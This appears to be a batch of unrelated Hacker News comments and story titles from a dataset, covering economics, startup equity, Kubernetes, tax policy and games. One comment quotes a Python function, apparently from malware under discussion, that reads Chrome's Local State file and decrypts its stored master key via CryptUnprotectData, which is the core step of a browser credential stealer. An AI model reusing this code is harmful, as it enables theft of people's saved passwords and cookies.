skysight-inc/HackerNews huggingface dataset:
What? This is wrong on so many levels. Inflation (dilution) is far more damaging to the lower income ranges. Inflation is also the reason that half of Americans don't have savings. What little is earned buys less each year. Since earned dollars buy less the longer they are held people are encouraged to spend quickly. So, inflation makes it harder to save and makes saving ineffective.

Higher income ranges are able to save by purchasing physical assets that can later be sold for inflated dollars. But, inflation is damaging to higher income purchasing power as well. There is just more breathing room in higher income ranges. Middle class becomes lower class unless they can manage to earn more.

Inflation is a loss for all but a few. Everybody becomes more poor through inflation with the exception of people closest to the new money. Those closest to new money get to spend it before prices increase.
The whole point of options is to let you defer exercising until it's not an illiquid asset (which is why the 90 day exercise window is a problem).
So oddly my modem started working again... I'm wondering if it's related to having to use the original charger/cable... because I could not get it to boot (after it died on my desk) using other phone chargers/usb-c. Anyway after I found the original charger/usb-c it booted up right away... think the battery has an internal BMS thing as I measured the contacts it was at 0... thought the battery died. Now I have a working modem again with 4G showing... it's weird.
I think two-headed is actually the best way to do a lot of executive jobs.

One person to analyze information, ask questions, and make policy decisions.

One person, to have meetings communicating those decisions to everyone who needs to know. Do interviews. Collect feedback.

It's not like one person does all the work, and the other person sits through all the boring meetings. That shit never works.

But one person pursuing new goals and change, and the other person maintaining current responsibilities can work really well. A lot of CEO's have named this "co-lead" their chief of staff, and they have a shocking amount of power for someone unfamiliar with that position.
>a single cluster correctly

Can you elaborate?
Dependabot Preview is shutting down
Just as an aside: one of the best one can do in terms of policy is to lower speed limits to reduce accidents; it's proven to be very effective in countries like Finland. Far from the only, but one that requires zero changes to existing infrastructure other than changing signs.
Lessons About Risk I Learned on the Battlefield That Saved Me as an Entrepreneur
Good, easy support for nested checklists is probably the main reason that org-mode became so popular IMHO.
Don't call it 'outsourcing': Hiring employees globally is getting easier
It appears to be:

def master():
try:
with open(os.environ['USERPROFILE'] + os.sep +
r'AppData\Local\Google\Chrome\User Data\Local State',
"r", encoding='utf-8') as f:
local_state = f.read()
local_state = json.loads(local_state)
except:
pass
master_key = base64.b64decode(local_state["os_crypt"]
["encrypted_key"])
master_key = master_key[5:]
master_key =
ctypes.windll.crypt32.CryptUnprotectData(
(master_key, None, None, None, 0)[1])
return master_key
> The substance is minimal because this is a "call to arms" more than anything

To do what, exactly? You point to a blurb from CNCF, but then don't say how Rust fits in to it at all. It's really not clear what the goals actually are, beyond coming across as buzzword bingo. I'm sure that's not your intent.
Really cool! I've recently got really fed up with the default software and wrote my own library for .NET to manage the device[1].

For anyone curious, I've also documented how to reverse-engineer the USB protocol[2], so you can write your own libraries and pretty much set any buttons to anything (with much more OS control granularity).

[1]: https://deck.surf

[2]: https://den.dev/blog/reverse-engineering-stream-deck/
To add an anecdote, I've gotten into a hobby of writing parsers and parser-related things, and I've developed a pattern and a handful of utility functions (which are small enough to be re-written from memory) that together make hand-writing a pretty breezy task. Just the other week at work I hand-wrote a GraphQL schema parser from scratch in about 2 hours using this technique (GraphQL's schemas have a relatively simple syntax, but I still think it's a decent data point)
import usafacts;
import malware;
usafacts.check(malware);
Would you say the same thing about the crimes of Hitler?
Well, it's not really his problem. These companies put their trash in our property and we're supposed to clean it up? Such an indignity.

It's the advertisers who are the problem. They're the ones dumping their garbage on us, reaping the benefits and then expecting us to clean up after them. Wish someone would just drop the banhammer on the whole industry already.
> This Rust version doesn't allocate anything from the heap

I lied—the BigUint values used as keys were still being allocated from the heap. Replacing these with Vec<u8> in the HashMap and &[u8] for the lookups brought the time down to about 31 seconds while also simplifying the code and eliminating a dependency. Bypassing the fmt library in the output code shaved off another second.
I think like with Germany it is predicated on the collapse of one of the backing superpowers - China or the US. Tbf. at this time (after Trump era) it’s hard to tell which one is more stable.
Reasonable. But then again they did come up with selinux and I haven't seen any backdoors in that.
While I agree with the premise, this reads like the wishes of a budding new head of engineering that hasn't yet been ground down by HR. I wish him luck.

The most successful company I've ever worked for had over 300 employees and 0 in HR.
How do you make unicorn money off of techniques that are so simple they can be conveyed in a few paragraphs, and used with nothing more than pen and paper?
Ask HN: Smaller option pool = less dilution?
I just got a job offer from a startup and as part of the compensation negotiation, the CEO is offering less equity on the basis that "since the option pool is smaller than typical (~8% rather than 10-15%) the offered equity is less dilutable over time."

Is there any truth to this? I've been trying to find literature online to this end but haven't found anything substantial.
Python is preinstalled on macs at least, that's a decent chunk of personal computers. You have to pay for excel. And you don't need to bother with virtual environments to fiddle with a flat file.
> The less powerful have to see things in the dominant world view and in their own world view of how to stay safe and get their needs met in the skewed system

Very much reminds of me "Seeing Like a State".
The one benefit you get is protection from bugs in Kubernetes itself and a reduced blast radius. Even if you could produce a secure and H/A cluster, you still leave yourself open to Kubernetes bugs and configuration mistakes such as adding a network policy that blocks all communication across all namespaces.

Multiple clusters protects you from these types of configuration mistakes by reducing the blast radius and providing an additional landing zone to roll out changes over time.
I don't know how you would measure that.
I'm actually the other way around. While visualizing algorithms might be easily done in a spreadsheet, coming up with algorithms is very hard for me and gets me confused easily. Same goes for diagrams, when I lookup a protocol I quickly go for a well commented implementation and RFC only for variables and descriptions.

Maybe it's just me.
> Do you also call it a "privacy disaster" when your bank account requires your name and address so they can report interest payments to the government? Or when Robinhood/Schwab/Vanguard/Etc send the IRS a list of all your stock transactions for the year in a form 1099?

Yes. Clearly.

My car doesn't keep an up to date record of my name and adress so it can report my position and speed to the authorities. Warrantless wiretapping is illegal in most (every?) form outside finance, and there's no justification for banks or investment firms being any different.

Governments have a right to make laws, they don't have a right to continuously monitor every citizen to enforce them.
Thanks, this helped me adjust my mental model!
At our very large org we do both. At least two clusters per region to isolate platform changes, all hardened to the same standards using automated tooling.
The dismal science is poorly named. They can keep the dismal part, but it's definitely not science
Ultraterrestrials would be interesting but they’d also need a really good reason for hiding. Now, if they no longer live here but are just coming back for a visit…
Yeah discourse does the same. Sometimes i want to search within a post for some keyword. But ctrl+f redirects you to the global search... that global search only helps if you want to find interesting posts, but it does not support searching inside one, nor does it allow limited search within a thread. So I started using / in discourse discussions. Then that one was being overridden as well. I've heard the recommendation that you turn js off, which gives you a saner experience.
> Give me cheap and take my middle class job!

The trade-offs with trade are a little more complex than that. For example, if foreign steel was super cheap, you could have the people previously working in steel work in construction, and build more buildings. Or if midwestern auto manufacturing jobs were middle-class due to unions, but the economy shifts to services like Amazon, there is no inherent reason why service jobs couldn’t also be unionized.

In principle it’s not that different from automation - you can think of either as a black box you put money in and get product out. If you are playing your other cards right (admittedly a big if) it would be possible to largely benefit from either.
> You can’t rescue ethnic groups that refuse to procreate.

Ethnicity is more memetic than genetic.

> Look at Norway and Sweden, the people in those countries long ago decided their culture was not worth preserving.

Culture isn't transmitted by reproduction but by socialization. Immigration tends to involve socialization; indeed, the usual observation about future generations of immigrant populations aligning to preexisting native low birthrates in the developed world is evidence of either culture transfer (meaning reproduction not key to preserving culture) or that birth rates are a product of material incentives not culture (indicating that reversing low birth rates at need is a matter of changing material incentives, not culture.)

Either way, the low current birth rates = irreversible drive to cultural death claim is inconsistent with the evidence.
That's inflation in US prices. It may not be transferrable to another country, where various things cost more/less, and rise/fall differently through the years.
> Go is simple, but simple isn't the same as easy.

I'd really like if people stopped using this all the time when speaking about either Go or Clojure, especially when they don't define what simple and easy mean for them. Or at least admit that it's mostly opinion-based, and that Go is simple for them.
Exepnsive cities are tied to low birth rate not just cities. Lagos is a megalopolis but with good birthrate.
Yes.

But in this case it isn't that.
It isn't the good old days.

Classic was "hard" because of organizational challenges, patience requirements, and most importantly lack of information. Access to information has completely changed the game, explaining why it took people virtually zero time to beat MC this time around. The classic of reading some sketchy material on forums to understand raid mechanics and raiding with keyboard turners is gone and can never be recreated.
Let's inverse the question: please provide a list of companies that would be OK to target, according to you.
My hot take is that we need to find a new system that doesn't depend on perpetual economic growth. With both China and India rapidly developing (that's what, 3 billion people with money to spend), climate change will only accelerate until and unless we find an alternate model.
> Also, I'm confused, I thought https://mdn.dev/ was the new thing because Mozilla was stepping back from MDN. Is it a fork? They both carry Mozilla logos, so what's going on there?

It seems to me that mdn.dev is intended to be the future home of MDN web docs since it is collaborative now, and no longer exclusively managed by Mozilla. But they haven't actually made the transition yet, as any link on mdn.dev points back to the old (current) site at developer.mozilla.org
I don't think the land size argument really holds water. You can provide good internet in the top 10 major economic metros, and in aggregate that is a small landmass. And the USA has a very good bandwidth capacity at the data center level, so that is not a bottleneck either. It's purely political in the USA.
I'm going to share a story my mom told me about when she was in high school in the '60s.

There was an academic achievement award at her school, given based on objective criteria. I don't remember exactly what this award was called or what the exact criteria were (and my memory of the exact details of her story is hazy enough that I'm wondering if she was talking about being named her class's valedictorian). For the school's entire history, only boys won the award. Until my mom came along. She qualified for the award based on the objective criteria by a decent margin. And so, beginning with that year, her school decided to start issuing two awards: one to the top-performing girl and one to the top-performing boy.

So even though she won, she still had to share the award because the school suddenly changed the rules in response to a girl finally winning.
He really had a great opportunity to make a positive impact. Yet like most of his actions, he did not plan things out and instead caused lasting damage. Courage without intelligence is not good leadership.
A couple thoughts here:

Using money as a mechanism for alignment is not always effective or useful in creative fields. Engineers join a company for a variety of reasons, such as wanting to be part of the mission, coworkers, personal development, brand/location/perks/benefits, and so on. If somebody wants to leave, it's because they have fallen out of alignment. When people are out of alignment they can grow resentful or hard to motivate, and that in turns creates a bad state of affairs for both an employee and the company. There's an opportunity cost here where somebody could join the company who has better alignment.

Another way to look at this is that some level of turnover can be a good thing. In the same way that some universities will not allow former students to become professors in order to inject new thinking, companies benefit from new people coming in and injecting new ways of thinking into their organizations. So encouraging people to stay to maintain organizational memory is probably bad over the long term.
Pay employees based on the value that they provide to the company and not the minimum amount that the market determines they should make?

What are you, a communist? :)
Seen a doc?

At times I thought I was a bad sleeper.

I got Gabapentin as an add-on to Sertraline for social anxiety. I don't know if it really helped with the anxiety but ever since then my sleep has been perfect almost every night. I quit taking the Sertraline but still take the Gabapentin.

I cannot take proton pump inhibitors for heartburn (e.g. Omeprazole) because if I do I will lay in bed awake all night. I can tolerate other acid reducers (say Famotidine) just fine. I don't see insomnia listed as a side effect for PPIs but it is a side effect for me.
Cool. It seems like a big step to go from that to where the game engine is a part of the www itself.

I guess the point is that wont happen? The browser just becomes a way to download unreal/unity/… clients written in C++.
Yeah - this is the reason it's bad.

If you calculate the number of shares determined by the price when you join you're locking in more shares earlier. If you are forced to negotiate that each year then you lose the growth you would have gotten from locking in the cheaper shares earlier - and that's where the vast majority of growth exists.

Imagine you worked at Tesla and joined at $250/share and five years later it's $2500/share. If you locked in 5 year vesting at $150k/yr calculated at the $250/share mark then in year 5 that's now worth over 1.5M a year!

If you're forced to renegotiate every year there's no way they're going to grant you 1.5M worth of shares for another year (unless you're pretty high up the chain).

It screws employees from capturing that growth. It's framed in a twisted way as employee favorable because in theory if you were granted 5 years worth of equity in 1 year it would be better, but nobody is doing that.
You say all this, but where are all the thousands of silk road/DNM vendor/ransomware arrests? The gov has the tech to deanonymize these transactions, but fails to make any arrests?
To replace C-style strings you only need the length! You also get cheap substrings which is such a common operation that it alone IMO makes it worth taking this route.
The App with the Unprintable Name That Wants to Give Power to Creators
haven't done the math, myself - are there significant problems with a lattice model of space?
Building architectures that can handle the world’s data
We have seen how Bloomberg performs under stress during the debates and his performance has left a lot to be desired. I don't see him entering politics ever again.
There are a number of reasons for your downvotes. For starters, income taxes don't disincentive work and are in fact lower now than they were during our greatest periods of economic growth.

And from the perspective of someone who actually works in tax: the "FairTax" simply pushes all the complexity to everyday transactions, instead of minimizing it to periodic transactions occurring 1-2 times a month (with reporting once a year). It would hugely disincentive paying for actual things, and artificially incentivize (untaxed) services over (heavily taxed) goods.

Moreover, the "FairTax" rate would be 30% or more on all purchases. Not only would the FairTax would obscenely regressive in effect, but a tax rate that large would push a substantial portion of the economy underground!

There's so much wrong with "FairTax" that it should be called "Ridiculous Tax."
Technical Leadership: Beyond Solving Problems
The unprintable name, FYI, is Fuck You Pay Me.
Jason Schreier had a good tweet about this title shuffle this morning. [0]

> Titles mean a lot in the corporate world. Until 2018, Mike Morhaime was CEO. When Brack took over, he was president. Now, Oneal and Ybarra are described as "co-leaders."

> A clear glimpse at who's really in charge: Bobby Kotick

[0]: https://twitter.com/jasonschreier/status/1422536264851640320
I agree with you. The critical question here is, on a broad scale, whether the competitiveness of the American economy depends on lack of choice for low-wage workers. Example: The health insurance system reduces choice for workers, who are legitimately terrified of losing healthcare.
Feels more like well-paid scapegoat. I understand some of the dynamics are difficult, but I'm still not sure I like it.
Unlike other cryptocurrencies, it'd be quite surprising if bitcoin ever went entirely to zero because at a minimum it has historical interest.

I do hope that people will gradually realize that other more modern cryptocurrencies meet any specific goal (including the original goal of bitcoin) better, and eventually the majority of the value will congregate elsewhere, but I doubt it'll ever go to zero.
Also: Former eBay employee gets 18 months in prison for cyberstalking campaign - https://news.ycombinator.com/item?id=27976698 - 6 days ago (77 comments)
>Advancements in technology will probably not do away with what we already understand about physics, it will likely just add more details

Could have been said in the 1800's about why we'd never have quantum computers.
Which is why there's the biannual Diablo 2 clone that flops, and the "horrible", "failed", Diablo III is on its 24th season and sold like gangbusters on consoles.
Wait till you guys find out about the FACTA/CRS requirements.
That looks much more reasonable, thanks!
oxymoron

noun

a figure of speech in which apparently contradictory terms appear in conjunction
Quantum computing APIs will become much more accessible and start to fill real needs.
Only if your attackers pay for access - just kidding, but in this approach the board isn't connected all the time I don't think, only when it sends a message.
The state of California has announced a week or two ago that it is suing Blizzard over a lot of different sexual harassment cases (including the one you've brought up) after conducting a 2-years long investigation and gathering evidence.

Which prompted a (justified) mass outrage and more people coming out with more evidence and relevant situations within the company.
Output/performance shouldn't be determined by pay, ie pay is a lagging indicator of output/performance.
> generally the solution for languages without generators is to have your traversal build a list

Yes, but then you move from O(1) to O(n) in memory usage. And if you want to optimize it you have to restructure your code, when in python lists and generators are drop-in replacements.
Taumatawhakatangi­Hangakoauauotamatea­Turipukakapikimaunga­Horonukupokaiwhen­
Most countries have some dark past, sure, and of course some more than others. But, in terms of consistency, extent and persistence, none come even close to the US. Just look at the Wikipedia article article I linked, and also this one: https://en.m.wikipedia.org/wiki/United_States_involvement_in...

Just pointing out what is known history shouldn't be considered hypocrisy. Nor did I claim the US was alone in doing "bad stuff". So, I suppose you identify your argument as a straw man?

You are more than welcome to counter argue the actual point, by suggesting a present day contender.
20 minutes by car has a lower carbon output that one ink cartridge (which is about the consumption when you realize once a year that you need to print something and the old cartridge has the yellow nozzle dried out)
There is the "Yank" PEP 592 semantic that can be used to mark vulnerable packages. It's adoption has been a little slow, but I agree, having these packages available and marked accordingly makes it easier for security scanning and future detection research.

https://www.python.org/dev/peps/pep-0592/
Yelp’s new app icon and logo
The longer version (105 letters) means "The hill of the flute playing by Tamatea – who was blown hither from afar, had a slit penis, grazed his knees climbing mountains, fell on the earth, and encircled the land – to his beloved one."

I was incredulous when I heard the audio for the short version here: https://web.archive.org/web/20081014111519/http://www.korero...
Would love to get your feedback on bytebase.io - our checklist features is specifically inspired by this article, with three states: empty, half-filled, filled. You just hit 'X' to iterate through the states. Checklist items can be infinitely nested.

https://intercom.help/bytebase/en/articles/4587112-to-dos-in...
> (i.e. NEVER EVER hard code anything into a cell)

Define 'hard code'...

Is "=MONTH(A1)+2" no good when I'm trying to write a row of every other month?

Is it bad to say '=IF(A1="USA",TRUE,FALSE)' when I'm trying to see what customers belong to our USA office?

I have this problem with coding too. In my mind, it's okay to hard code things, since you can always debug and abstract them later. Excel's "Evaluate Formula" and "Trace Precedents" are both pretty handy tools.
The journey of the electronic plastic bottle (2020)
Review: Keyboardio Atreus (2020)
The lost history of the electric car
Who is that Ozzie?